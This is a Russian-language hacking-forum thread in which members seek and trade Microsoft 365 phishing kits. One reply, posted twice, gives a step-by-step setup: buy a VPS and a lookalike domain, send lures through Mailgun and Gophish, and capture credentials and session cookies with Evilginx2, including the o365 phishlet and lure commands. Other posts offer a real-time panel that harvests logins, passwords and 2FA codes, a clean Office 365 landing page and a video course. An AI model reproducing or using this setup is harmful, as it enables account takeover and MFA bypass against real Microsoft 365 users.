Кто подскажет, где можно взять/приобрести годный кит с фишингом ms365?
-
XSS.stack #1 – первый литературный журнал от юзеров форума
Фишинг под Microsoft365
- Автор темы hackerman_228
- Дата начала
Скрытый контент для пользователей: hackerman_228, Simba.
Последнее редактирование:
- Автор темы
- Добавить закладку
- #3
Огромное спасибо, мира, добра, валида тебе)
У меня чистая целевая страница office365, дайте мне знать, если она вам понадобится
Серьезный ты наш Хокаге, иди дом стереги...
Вложения
Как не удивительно, но тема продолжает жить (хотя вроде живет)
Относительно дешевый способ)
1. Покупаете VPS;
2. Покупаете домен с хостингом (в записи DNS добавляете subdomains microsoft);
3. Идете на mailgun и верифицируете там свой домен (для отправки писем);
4. На VPS ставите Gophish (для отправки писем) и Evilgnix2 (для перехвата данных и кукис);
5. Поднимаете Gophish;
6. Поднимаете Evilgnix2:
: config domain phishdomain.com; - конфигурация вашего домена
: config ip 'your hosts's ip'; - конфигурация вашего VPS (где запущен Evilgnix2)
: phishlets hostname o365 microsoft.phishdomain.com; - прикручивание фишлета o365 к вашему домену
: phishlets enable o365; - включение фишлета
: lures create o365;
: lures get-url 1(or other ID);
1. Покупаете VPS;
2. Покупаете домен с хостингом (в записи DNS добавляете subdomains microsoft);
3. Идете на mailgun и верифицируете там свой домен (для отправки писем);
4. На VPS ставите Gophish (для отправки писем) и Evilgnix2 (для перехвата данных и кукис);
5. Поднимаете Gophish;
6. Поднимаете Evilgnix2:
: config domain phishdomain.com; - конфигурация вашего домена
: config ip 'your hosts's ip'; - конфигурация вашего VPS (где запущен Evilgnix2)
: phishlets hostname o365 microsoft.phishdomain.com; - прикручивание фишлета o365 к вашему домену
: phishlets enable o365; - включение фишлета
: lures create o365;
: lures get-url 1(or other ID);
Here's a video course of pretty much what he just explained above. This is not my channel and I don't vouch for him in any way, I just remembered getting this a little while ago and thought it could help people here
Hacker Chatroom
Welcome To Hacker Chatroom 💬 Only English 🚫 No pm without permission 🌸 Do not advertise other links (channel, social media)❗️ ☘️ Do not post inappropriate content 📛 Tag @admin to Report Join @Stock_Predictions for signals 🥷 @CodiedHub
t.me
А есть ли фишлет универсальный под перехват $username $password ??
Есть реалтайм панель для 365, собирает логин пасс 2фа, юзер инфо.
GIF: https://s6.gifyu.com/images/365.gif
Если нужно обращайтесь.
GIF: https://s6.gifyu.com/images/365.gif
Если нужно обращайтесь.
Spear Phishing on Modern Platforms
Spear phishing is a social engineering activity intended to simulate a realistic attack scenario with the intent of bypassing technical security controls and persuading employees to perform various actions.
www.optiv.com
Полный мануал с установкой o365 evilginx2